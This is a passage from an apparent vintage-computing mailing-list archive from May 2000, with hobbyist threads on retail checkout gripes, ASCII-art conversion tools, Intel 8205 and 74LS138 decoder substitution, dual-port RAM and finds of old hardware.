University * ckaiser@ptloma.edu -- Any excuse will serve a tyrant. -- Aesop ----------------------------------- From ckaiser at oa.ptloma.edu Tue May 23 17:34:12 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: <20000523220147.23828.qmail@brouhaha.com> from Eric Smith at "May 23, 0 10:01:47 pm" Message-ID: <200005232234.PAA04166@oa.ptloma.edu> ::Zane wrote: ::> Though usually I use something along the lines of "You ::> don't need that information." :: ::I've sometimes gotten arguments over that. Maybe you have ::more midiclorians (sp?) than I? :-) You mean cojones, right? ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- "I'd love to go out with you, but I'm braiding my dental floss." ----------- From george at racsys.rt.rain.com Tue May 23 17:34:01 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: <200005232213.PAA21784@shell1.aracnet.com> Message-ID: Try going through their checkout line when their checkout POS system was down. They had to call in every VISA authorization by voice call. Big big line then... George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Tue, 23 May 2000 healyzh@aracnet.com wrote: > Shawn T. Rutledge wrote: > > Nearly everything about the Fry's checkout process sucks. If you go > > to buy computer parts like memory or a hard drive, they have long forms > > onscreen to fill out (including name, address etc, but usually they skip > > that part). Then they _print_ the form. (This is a computer store, > > haven't they heard of a network?) Last time I had to wait several minutes > > Face it, they're as *low tech* as you can get and still set electronics! > > Zane > > From jfoust at threedee.com Tue May 23 17:35:18 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:56 2005 Subject: Question about ASCII art In-Reply-To: Message-ID: <4.3.0.20000523173350.01f9f4a0@pc> At 10:53 AM 5/23/00 -0700, Vintage Computer GAWD! wrote: >I am making the assumption that most of these ASCII art files were scanned >from actual pictures and then rendered by some software? >If so, is this software still around??? And what hardware was used to >scan them? There is/was an SGI tool to convert bitmap animations to ASCII. Back in 1998, you were a participant in the CCC thread on this topic which said: It's been done. has a number of movie clips converted to ASCII, and then played via a Java applet. If you aren't on a well-equipped browser on a fast link, forget it. I do recognize the irony of this situation. These movies were created with the SGI 'ttyvideo' package, , which lets you convert a bitmap animation or real-time video capture (the SGI Indy includes a camera) to an animated or static ASCII version. - John From dpeschel at eskimo.com Tue May 23 17:52:34 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:56 2005 Subject: When new advertising meets old computers In-Reply-To: from "Tony Duell" at May 23, 2000 07:42:43 PM Message-ID: <200005232252.PAA01195@eskimo.com> > > Although the effect is rather unsettling (Life magazine meets Wired?) the > > strangest part is the image of *six-hole paper tape* that marches across > > the middles of all the pages. Obviously old computers have some sort of hold > > on our culture, though it could just be as an abstract design cliche. > > Typesetting tape was 6 (data) tracks, but it had other differences from > the other paper tape standards as well. For one thing, the sprocket holes > on all other paper tapes (5, 7, 8 level) are the same distance from the > edge of the tape on the '3 hole' side. Typesetter tape has the holes a > little further away. > > Also, on all other tapes, the centre line of the data holes and the > (smaller) sproket holes (looking across the tape) is aligned. On > typesetter tape, the leading edge is aligned. This is valuable info and made me wonder if the paper tape graphic was only a fake. I'm pretty sure there are at most six holes per channel but as I recall it violates the other standards you mentioned (the sprocket holes are halfway between the two middle data tracks and their centers are aligned). > > > > I haven't yet decoded the tape (if it says anyhthing at all). Luckily I > > just got _Computers and Typesetting_ which covers plenty of obscure > > Presumably not related to the Knuth set of books of that title that cover > TeX, etc. No, it's much earlier than that (1968?) and it's British. It may have been wrotten by Her Majesty's Stationery Office (not registered by them, written by them). The book's at home so I can't check any of those facts now. It describes Linotype machines, Monotype machines, and various filmsetters (with pictures, diagrams, and descriptions of features); it has a pretty detailed discussion of character sets and keyboards, including stenographic and chorded keyboards; it has very useful information about tape codes (including how to cram data that may use as many as 15 or 30 bits per item onto narrower tape); and it has lots of other trivia about specialized devices, information flow in a print shop, the niceties of book formatting, some of the contemporary computer hardware and software, how Random House typeset one of their dictionaries; and so on. In short, I'm becoming very glad that I bought it. :) -- Derek From netsurfer_x1 at hotmail.com Tue May 23 17:53:52 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:52:56 2005 Subject: Need Software. Message-ID: <20000523225352.61400.qmail@hotmail.com> >I have a variety of ancient DOS-based software on 5.25" >diskettes -- >mostly 360 KB. Not being familiar with >your Sharp machine, I have to ask: > how much RAM does it >have, and what version of DOS is it running? And >what >sort of programs are you looking for? > >Glen >0/0 Answering your questions: 1. I think about 380K or so of RAM (programs that run on 256K should be perfect) 2. DOS v. 3.2 3. Surprise me. I am looking for anything that I can use & that will work on my system. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From netsurfer_x1 at hotmail.com Tue May 23 17:54:04 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:52:56 2005 Subject: Need Software. Message-ID: <20000523225404.49123.qmail@hotmail.com> >I have a variety of ancient DOS-based software on 5.25" >diskettes -- >mostly 360 KB. Not being familiar with >your Sharp machine, I have to ask: > how much RAM does it >have, and what version of DOS is it running? And >what >sort of programs are you looking for? > >Glen >0/0 Answering your questions: 1. I think about 380K or so of RAM (programs that run on 256K should be perfect) 2. DOS v. 3.2 3. Surprise me. I am looking for anything that I can use & that will work on my system. ____________________________________________________________ David Vohs, Digital Archaeologist & Computer Historian. Home page: http://www.geocities.com/netsurfer_x1/ Computer Collection: "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, Okimate 20. "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. "Delorean": TI-99/4A. "Monolith": Apple Macintosh Portable. "Spectrum": Tandy Color Computer 3. "Boombox": Sharp PC-7000. ____________________________________________________________ ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From wilson at dbit.dbit.com Tue May 23 18:00:58 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: <200005232030.NAA06353@shell1.aracnet.com>; from healyzh@aracnet.com on Tue, May 23, 2000 at 01:30:11PM -0700 References: <20000523135841.D18382@mrbill.net> <200005232030.NAA06353@shell1.aracnet.com> Message-ID: <20000523190058.A24678@dbit.dbit.com> On Tue, May 23, 2000 at 01:30:11PM -0700, healyzh@aracnet.com wrote: > Actually from what I understand there is a good reason. Namely they don't > trust thier own employees! Supposedly they're checking to make sure that > the cashiers charged you for everything you got. The fact that CompUSA hires low-lifes is definitely Their Problem though, it shouldn't mean that they get to make up their own laws and apply them to customers w/o their consent. Anyway I solve this problem by just not giving them my business, it's not as if there aren't better/cheaper places to buy computer stuff, w/o being hassled. John Wilson D Bit From gaz_k at lineone.net Tue May 23 17:53:53 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:56 2005 Subject: Question about ASCII art References: Message-ID: <000601bfc50d$aa2d3780$bd4e883e@gaz> Vintage Computer GAWD! wrote: > I am making the assumption that most of these ASCII art files were scanned > from actual pictures and then rendered by some software? > If so, is this software still around??? And what hardware was used to > scan them? I'm not sure about other platforms but Amiga users can do this using Personal Paint 6 onwards. There is also a PD utility on Aminet to do the job. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From richard at idcomm.com Tue May 23 18:30:37 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:56 2005 Subject: DATASHIELD 800 UPS Message-ID: <001401bfc50e$e938efe0$0400c0a8@winbook> Has anybody got detailed doc's on the Datashield AT-800 UPS? Apparently they were bought out by Tripp, who now has nothing by way of documents to help anyone who was orphaned by their acquisition. thanx, Dick -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/4adfe7a8/attachment-0001.html From healyzh at aracnet.com Tue May 23 18:35:35 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: <20000523190058.A24678@dbit.dbit.com> from "John Wilson" at May 23, 2000 07:00:58 PM Message-ID: <200005232335.QAA01752@shell1.aracnet.com> > it shouldn't mean that they get to make up their own laws and apply them to > customers w/o their consent. Anyway I solve this problem by just not giving > them my business, it's not as if there aren't better/cheaper places to buy > computer stuff, w/o being hassled. > > John Wilson > D Bit > Actually since a Mac only store opened last fall a few blocks from them I don't believe I've purchased anything from CompUSA. I'd rather pay more than deal with them anymore. Although if you can ever find one of there 'end of the fiscal year' type sales, they're well worth going to. I got lucky and stumbled across one of those, but not lucky enough that got one of the $200 laptops :^( Still the PII/266 I got that day for $400 was a steal, and my cousins twins love their $100 PowerMac. Zane From liste at artware.qc.ca Tue May 23 18:39:46 2000 From: liste at artware.qc.ca (liste@artware.qc.ca) Date: Sun Feb 27 18:52:56 2005 Subject: rescued a beehive! In-Reply-To: <39263D40.622C64F@rdel.co.uk> Message-ID: On 20-May-2000 Paul Williams wrote: > Hehehe. Terminal junkie support group, anyone? > > Sellam, Philip, I'd love to see pictures of any terminals in your > collections. My collection of terminals is, like my classic computer collection, very small. Space, money and availability are the primary restrictions. The Wyse-85 I use daily. I first saw a Wyse at a local hospital, where i was visiting a friend who'd just had a baby. I spoted the terminal, played around with it trying to get something interesting out (it required a key that went in a hole on the keyboard) and said "I want one of these." 2 days later I wandered into the local used computer store. This store is owned by a cranky old lady who smokes like a chimney and speaks thick Qu?becois. A visit is always an adventure. I asked if she had a Wyse, to which she replyed "No, I have a *mumble*" (I have no clue what the *mumble* was. I think it was the same *mumble* as when I asked after an X terminal previously). However, the person who she had been chatting with said "Yes, you do have a Wyse. You sold me one last week". She goes "Wasn't that a *mumble*?" "No, it's a Wyse". Then she stares me in the eye "So, how much will you give me for it?" I haven't seen the terminal yet, but I guess it's value at around 70 CAD. She goes, "Nope, I want 20 CAD" Now picture me going "wheee!" and coughing on cigarette smoke. Turns out it's a Wyse-85, with a international/french keyboard. It has a wordperfect F-key "cheat-sheet" glued to the keyboard. Previously, I'd been using a Compaq II as a terminal, but they Wyse is much less noisy and runs at 19200 reliably. As an extra bonus, wyse85 is in the linux termcap. -Philip From ckaiser at oa.ptloma.edu Tue May 23 18:55:33 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:56 2005 Subject: Question about ASCII art In-Reply-To: <000601bfc50d$aa2d3780$bd4e883e@gaz> from Gareth Knight at "May 23, 0 11:53:53 pm" Message-ID: <200005232355.QAA07504@oa.ptloma.edu> ::Vintage Computer GAWD! wrote: ::> I am making the assumption that most of these ASCII art files were scanned ::> from actual pictures and then rendered by some software? ::> If so, is this software still around??? And what hardware was used to ::> scan them? :: ::I'm not sure about other platforms but Amiga users can do this using ::Personal Paint 6 onwards. There is also a PD utility on Aminet to do the ::job. I wrote a utility called ppmascii in Perl that does something of the sort but it turns pixels into entire characters which means on a typical screen you can only see 80x25 images and the aspect ratio is usually tweaked. I know there are more sophisticated programs out there but I've yet to find one myself. I usually send a -pnm -scale 1/8 to djpeg and put *that* output through ppmascii. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- All wiyht. Rho sritched mg kegcaps awound? --------------------------------- From eric at brouhaha.com Tue May 23 18:54:03 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: (message from George Rachor on Tue, 23 May 2000 15:34:01 -0700 (PDT)) References: Message-ID: <20000523235403.24442.qmail@brouhaha.com> George wrote: > Try going through their checkout line when their checkout POS system was > down. They had to call in every VISA authorization by voice call. Yes, I've been at Fry's on three occasions when that happened. On two of the occasions, when I discovered the problem, I just set down my items on the nearest flat horizontal surface and left. On the third occasion, I *really* needed the item, so I had to wait. On another occasion they had lost all power to the building, so even the phone system didn't work. They were apparently worried about liability if a customer managed to get injured in the dark, but they didn't want to turn away business entirely. So if you knew what you wanted, they sent you in with an "associate" who had a flashlight. That was definitely my strangest shopping experience ever. From elvey at hal.com Tue May 23 19:06:34 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions In-Reply-To: Message-ID: <200005240006.RAA26137@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > Now that's interesting. When I got my (second-hand) Intellec MCS8i, it > didn't work. One of the faults was soon traced to an 8205 chip on (IIRC) > one of the memory boards. > > At the time I'd never heard of this device (and didn't have a suitable > Intel databook), but from the schematics in the manual it appeared to > have the same pinout as an 74LS138. So I stuck one of those in and of > course it worked fine (and still works AFAIK). > > I wondered at the time what the difference was between an 8205 and a > 74LS138. Now I know... > > -tony Hi Tony As I recall, the difference was that the Intel parts could stand a much lower negative voltage ( -10V? ) than the general purpose TTL. This made is compatible with the 8080's. Also, as I recall, the 8205 were also Schottky's. Dwight From elvey at hal.com Tue May 23 19:17:04 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions In-Reply-To: <20000523214508.23716.qmail@brouhaha.com> Message-ID: <200005240017.RAA26263@civic.hal.com> Eric Smith wrote: > > This is what I meant exactly - no bi-directional data bus. I'm guessing that > > there is a fine distinction between dual-ported and separate input and > > output busses... > > Specifically, a true dual-ported RAM chip has separate address busses and > control signals/strobes (*RD and *WR, or *CS and R/*W, or the like) for > each port. > > Dual-port RAM chips tend to be expensive and not very high-density, so > they aren't commonly found in commodity computer hardware. It's usually > more cost-effective to time-multiplex a single port. > > Current manufacturers of dual-port RAM chips include Cypress and IDT. > There are even some quad-port RAM chips now. Most of the dual ported RAM chips that I know of were used on video boards. These had parallel I/O on one side and serial I/O on the other. In the microprocessor designs we do, we designate the RAMs as follows: 1RW Single port/ may have separate in and out busses 1R1W Dual port. Separate addressing for read and write 5R5W Multiport. A real pain to test {:-0> We do use quite a few multiported RAM as internal design but it would be hard to use these as single chips. Dwight From foo at siconic.com Tue May 23 18:54:30 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: <200005232030.NAA06353@shell1.aracnet.com> Message-ID: On Tue, 23 May 2000 healyzh@aracnet.com wrote: > On Tue, May 23, 2000 at 10:45:37AM -0700, Vintage Computer GAWD! wrote: > > On the same token, how many of you have gone to one of those computer > > superstores like CompuUSA or Fry's and felt totally indignant at having to > > have your bag checked and receipt highlighted with a marker for apparently > > no good reason? > > Actually from what I understand there is a good reason. Namely they don't > trust thier own employees! Supposedly they're checking to make sure that > the cashiers charged you for everything you got. Screw them! That's their damn problem! I don't have time to help them train their stupid employees. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 23 19:17:00 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: <20000523142153.B8235@electron.quantum.int> Message-ID: On Tue, 23 May 2000, Shawn T. Rutledge wrote: > It would certainly be appropriate.) Half the barcodes don't scan. They > used to use these old fashioned light-pen type scanners but at least > the last time, they'd finally upgraded to the pistol-grip autoscanning > kind. At the risk of turning this into a full-fledge anti-Fry's flame-a-thon (apologies in advance) the clerks there (gawd bless them) are so stupid sometimes. I got one who was having trouble scanning stuff so he'd swipe the bar code wand over the item back & forth three or four times to make it scan. His hearing must not have been very keen, nor his eyesite, because he managed to scan one package of candy 3 or 4 times and didn't catch it. I heard the beeps and immediately knew what happened, but poop-for-brains didn't realize it. When the receipt came I pointed it out. Knowing full well from past experiences that if I had made him take the extra charges off it would have taken probably 10 minutes for him to call a manager over (they can't seem to do ANYTHING other than ring-up crap unless a manager gets involved) and since I had to get back to the VCF because a speaker was waiting for the VCR I was also purchasing, I just went and grabbed 3 more candies from the shelf and told him we were even. Of course I breezed through the Gestapo check at the door. > hassle, you wait while the receipt printer (which has done nothing in > advance of this moment) prints out two feet of paper, slowly, one line > at a time. Then you go wait in line again at the exit. And get home to DAMN those printers are slow!!! > find out your product was already returned once and is missing something > or doesn't work. So you can go stand in line again and shuttle more > paper back and forth and be trapped into buying from them again because > they will only give you store credit because you lost the receipt. Always, always, ALWAYS ***OPEN*** the package you want to purchase and visually inspect everything inside. Make sure it is complete before buying it. You'll save yourself a ton of hassle. Which brings me to a point, which is sometimes it's more cost effective to just pay more at another store than to take the chance with Fry's crap. > What I would like to see instead, despite the cries of "Big Brother" from > so many people, is a smart card or iButton that has the memory of who you > are and all the ID numbers for all the various stores at which you shop. Yeah, I'll pass. Really, the problem with Fry's is that they can't keep employees around because the working environment probably sucks so bad. They are mostly immigrants (nothing against them!) who speak poor English, getting paid minimum wage at best, who are told to show up the first day in a nice white shirt, tie, and black slacks, then thrown out into the fray to answer questions from customers who already know way more about computers than they ever will. After two or three days of feeling like idiots they leave to find a real job. One day I actually found a regular American white boy working the floor who actually knew the answer to the question I had, knew where to find what I was looking for, took me to that place, and actually APOLOGIZED for how crappy the experience at Fry's was! It was like finding, in a colony of chimpanzees, one that could talk. I felt sorry for him. Anyway, I'm very sorry for carrying on like this. But Fry's has been a Silicon Valley institution (for better or worse) for the past couple of decades, so it's part of the history and culture and gives you outlanders an idea of what it's like at least :) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Tue May 23 18:59:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:56 2005 Subject: When new advertising meets old computers In-Reply-To: <200005232252.PAA01195@eskimo.com> from "Derek Peschel" at May 23, 0 03:52:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2935 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/6d89a217/attachment-0001.ksh From foo at siconic.com Tue May 23 19:22:52 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:56 2005 Subject: Question about ASCII art In-Reply-To: <4.3.0.20000523173350.01f9f4a0@pc> Message-ID: On Tue, 23 May 2000, John Foust wrote: > At 10:53 AM 5/23/00 -0700, Vintage Computer GAWD! wrote: > >I am making the assumption that most of these ASCII art files were scanned > >from actual pictures and then rendered by some software? > >If so, is this software still around??? And what hardware was used to > >scan them? > > There is/was an SGI tool to convert bitmap animations to ASCII. > Back in 1998, you were a participant in the CCC thread on > this topic which said: I was mostly referring to the ones done in the days before high-powered workstations like SGI systems, where a feat such as scanning in a nekkid lady would actually have been pushing the technological boundaries, not just mocking them :) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Tue May 23 20:19:34 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions In-Reply-To: <200005240006.RAA26137@civic.hal.com> from "Dwight Elvey" at May 23, 0 05:06:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 798 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/d8c25c2c/attachment-0001.ksh From jrkeys at concentric.net Tue May 23 20:44:30 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:56 2005 Subject: New Finds Today Message-ID: <022201bfc521$9b444b00$7d731fd1@default> Had a good day today as I got a digital TK25 with cable and a Sharp PC-500 portable computer with a built-in printer for 10 bucks total. The PC-5000 has a very small but long liquid crystal display of 640x80 dots and is one weird laptop computer. No power supply was with it and the battery seems to be dead. Anyone know anything about it. Also picked up a neat 3 foot robot for $1 here at a thrift store. No remote was with it a and one cover plate is missing, have not tried to power it up yet. Keep computing John Keys From dpeschel at eskimo.com Tue May 23 20:53:23 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:56 2005 Subject: When new advertising meets old computers In-Reply-To: from "Tony Duell" at May 24, 2000 12:59:10 AM Message-ID: <200005240153.SAA09757@eskimo.com> > A maths book we used at school had a paper tape strip as part of the > picture on the cover, and that _did_ make sense when read as 5-level What did it say? -- Derek From allisonp at world.std.com Tue May 23 20:13:45 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions Message-ID: <00a101bfc51f$cf12d840$6d64c0d0@ajp166> >> > I wondered at the time what the difference was between an 8205 and a >> > 74LS138. Now I know... >> > >> > -tony >> >> Hi Tony >> As I recall, the difference was that the Intel parts could >> stand a much lower negative voltage ( -10V? ) than the general purpose > >Well, from what Allison was saying, there's a TI silicon die in that >8205. Why would it see -10V??? Your thinking maybe of the 8224 clock gen? >_Apart_ from the clock lines (and power supplies :-)), I thought all pins >on the 8080 were at standard TTL levels. Certainly the address bus was, >which is where you'd be most likely to use a 3-8 decoder. Yes they are but not much drive, 2 LS loads are it. >> I recall, the 8205 were also Schottky's. > >Possibly. But wether it's a 74138, 74S138 or 74LS138 makes little >difference on the average 8080 system memory board... Right on. It was LS part. Also it was introduced when the 8085 was released and not the 8080. Whats funny is when TI had that 74LS yeild bust in the late 70s that part became real important to intel. Allison From richard at idcomm.com Tue May 23 21:53:19 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions References: <200005240006.RAA26137@civic.hal.com> Message-ID: <001301bfc52b$3a8f5200$0400c0a8@winbook> All this verbage about the i8205 has forced me to dig out an old (pre-Columbian) data book. IIRC Intel really didn't make any of its TTL parts, as their fab was dedicated to PMOS, NMOS, and later, CMOS devices. Therefore I'd suspect that the i8205 (and also the i3205) were strictly TTL, or, more correctly, schottky TTL. The i8205, by the way, sinks only 10 mA as opposed to the schottky equivalent, the 'S138, which sinks somewhere between 16 and 24 mA, depending on whose databook of that day you consult. This was probably more specsmanship than technology, however. I do, however, believe that applying a negative voltage lower than -0.6 volts would cause damage. The 1978 datasheet says very little about that. I'm sure there's a better reference, but I'm too lazy to dig for it in the basement. I can see no reason why one would wish to apply a negative voltage to one of these babies, however, since the only parts from the '70's that needed that negative voltage were the PMOS and a few NMOS memories, which, admittedly could fail in some mode that might short the Vbb supply to the select logic, though that's highly unlikely. Parts normally aren't designed with unusual failure modes of other components taken into consideration. In any event I'm unable to find any spec indicating the device will tolerate any signal more negative than a silicon diode forward voltage below its own GND. Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Tuesday, May 23, 2000 6:06 PM Subject: Re[2]: Altair parts substitutions > ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > Now that's interesting. When I got my (second-hand) Intellec MCS8i, it > > didn't work. One of the faults was soon traced to an 8205 chip on (IIRC) > > one of the memory boards. > > > > At the time I'd never heard of this device (and didn't have a suitable > > Intel databook), but from the schematics in the manual it appeared to > > have the same pinout as an 74LS138. So I stuck one of those in and of > > course it worked fine (and still works AFAIK). > > > > I wondered at the time what the difference was between an 8205 and a > > 74LS138. Now I know... > > > > -tony > > Hi Tony > As I recall, the difference was that the Intel parts could > stand a much lower negative voltage ( -10V? ) than the general purpose > TTL. This made is compatible with the 8080's. Also, as > I recall, the 8205 were also Schottky's. > Dwight > From richard at idcomm.com Tue May 23 22:07:49 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions References: Message-ID: <001b01bfc52d$4079fd80$0400c0a8@winbook> The propagation delays cited for the three popular bipolar technologies in which the '138 was offered seem to vary pretty widely. My experience has been that these spec's reflect worst-case conditions: conditions more frequently encountered then than now, since it was likely a designer in '76 or so would be using two levels of these decoders on a memory board, one to select a bunch of memories, and one to select a bunch of '138's that selected the memories. Back when small (1K-bit) memories were the most common sort, there were lots of chips expecting to see that select strobe, and the worst case load made the prop-delay long. When there's only a single 2764 to drive, the difference between the three available technologies is much smaller. A fairly typical memory configuration might have been a bank of 72 2102's (they liked parity back then) and about eight 1702's. One 138 would drive each of the rows of RAMs, while another drove each of the 8 1702's. That's lots of capacitance, not to mention a fair DC load. I'd say the difference between STTL and standard TTL would have shown up there in the form of a difference of maybe 15-25 ns. Due to the size of memory devices back then, the decoding tree would have been pretty long, therefore combining the delay through several decoders. This would probably have been a depth of two in the case of the memory layout I suggested. 2102's back then had a typical access time of 600 ns and 1702's were somewhere between 750 and 1000 nanoseconds. I don't think one could claim that 50 ns is negligible with a 2 MHz 8080 under those conditions. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 23, 2000 7:19 PM Subject: Re: Re[2]: Altair parts substitutions > > > TTL. This made is compatible with the 8080's. Also, as > > _Apart_ from the clock lines (and power supplies :-)), I thought all pins > on the 8080 were at standard TTL levels. Certainly the address bus was, > which is where you'd be most likely to use a 3-8 decoder. > > > I recall, the 8205 were also Schottky's. > > Possibly, But whether it's a 74138, 74S138 or 74LS138 makes little > difference on the average 8080 system memory board... > > > Dwight > > > > > > -tony > From jfoust at threedee.com Tue May 23 22:29:15 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:56 2005 Subject: Question about ASCII art In-Reply-To: References: <4.3.0.20000523173350.01f9f4a0@pc> Message-ID: <4.3.0.20000523222144.01fb0960@pc> At 05:22 PM 5/23/00 -0700, Sellam "speculum.com" wrote: >I was mostly referring to the ones done in the days before high-powered >workstations like SGI systems, where a feat such as scanning in a nekkid >lady would actually have been pushing the technological boundaries, not >just mocking them :) Joan Stark's page delves into a bit of history about this, talking about pre-computer artists who eyeballed images on typewriters. Greybeards on the Greenkeys list say that many of their images were created the same way. This seems considerably more difficult to me than using a typewriter. The teletype doesn't have the same freeform flexibility in two dimensions for positioning, not to mention the lack of a true erase. Lacking a scanner and driven to distraction by 24-hour turnaround on batch jobs, I'm sure many were crafted by hand. The images created by scanner (of whatever technology) have an obviously different feel to them compared to the hand-generated ones. I'd say that most of the Playboy centerfolds were done by hand. Think about it: it wouldn't be all that hard to draw a grid of 80 or 160 cells over an image that size and eye-ball a grey value for each cell. I have a delightful donation to my computer museum from an old RTTY guy who sent original 50-year-old print-outs and tapes of old images. - John From allain at panix.com Tue May 23 23:10:38 2000 From: allain at panix.com (John Allain) Date: Sun Feb 27 18:52:56 2005 Subject: good new/bad news on the VLC firmware References: <000a01bfc4be$f9d724c0$0e0301ac@dba00802.databaseamerica.com> Message-ID: <001601bfc536$04eb5260$8a0101ac@ibm23xhr06> I have 1 (one) i-D27210 pull that can go to a good home. John. > On Tue, 23 May 2000, Chuck McManis wrote: > > > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. From cmcmanis at mcmanis.com Wed May 24 02:06:31 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:56 2005 Subject: good new/bad news on the VLC firmware In-Reply-To: <018b01bfc4cd$72f34ab0$5d01a8c0@p2350> References: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: <4.3.1.2.20000523234718.00e324e0@208.226.86.10> >Mine VLC have all 27c1024 in them. I ordered/got this parts without any >problems few weeks ago. Interesting, what does the banner say when it boots? Mine says 1.5-38E-V4.2 on the "most recent" one, the other says 1.3-xxx-Vxxxx. In response to Allison, these EPROMs are exactly under the video card so a daughter board is out of the question but one could put ribbon cables to some place else in the box. Of course if I was going to butcher it in that way I'd go ahead and put RAM there and a small processor to "download" the firmware, then I would have a VAXeln like systems :-) --Chuck From vonhagen at vonhagen.org Tue May 23 02:10:30 2000 From: vonhagen at vonhagen.org (William von Hagen) Date: Sun Feb 27 18:52:56 2005 Subject: Lisp Machines: Followup In-Reply-To: References: <001f01bfa1ea$f9d888c0$0400c0a8@winbook> Message-ID: <4.3.1.2.20000523030737.00de5890@vonhagen.org> In my researches, I've found that machines such as the Symbolics LM-2, the original LMI machine modelled after an LM-2, and systems such as the MIT CADR were all microcoded machines. I'd think that this argues for a less restrictive definition of LISP machines ;-) From jolminkh at nsw.bigpond.net.au Wed May 24 04:40:42 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:52:56 2005 Subject: New Finds Today Message-ID: <003801bfc564$219cf840$dadf8490@tp.nsw.bigpond.net.au> I have a PC5000 stashed away somewhere. Can't readily look at it but as I recall is uses bubble memory carts. John R. Keys Jr. wrote: >Had a good day today as I got a digital TK25 with cable and a Sharp >PC-500 portable computer with a built-in printer for 10 bucks total. The >PC-5000 has a very small but long liquid crystal display of 640x80 dots >and is one weird laptop computer. No power supply was with it and the >battery seems to be dead. Anyone know anything about it. Also picked From Huw.Davies at kerberos.davies.net.au Wed May 24 07:23:07 2000 From: Huw.Davies at kerberos.davies.net.au (Huw Davies) Date: Sun Feb 27 18:52:56 2005 Subject: Question about ASCII art In-Reply-To: References: <4.3.0.20000523173350.01f9f4a0@pc> Message-ID: <4.3.1.2.20000524222008.01e9a4c0@kerberos.davies.net.au> At 05:22 PM 23-05-00 -0700, Vintage Computer GAWD! wrote: >I was mostly referring to the ones done in the days before high-powered >workstations like SGI systems, where a feat such as scanning in a nekkid >lady would actually have been pushing the technological boundaries, not >just mocking them :) Well the last time I did this on a "classic computer" using appropriate technology was in about 1974. I had access to a PDP-9 with various analog input devices and a modified X-Y plotter which was driven by analog outputs and had some sort of photodetector (I didn't do the hardware). It was a simple case of putting the photo in the X-Y plotter, running the scanning program and then the "convert to printer 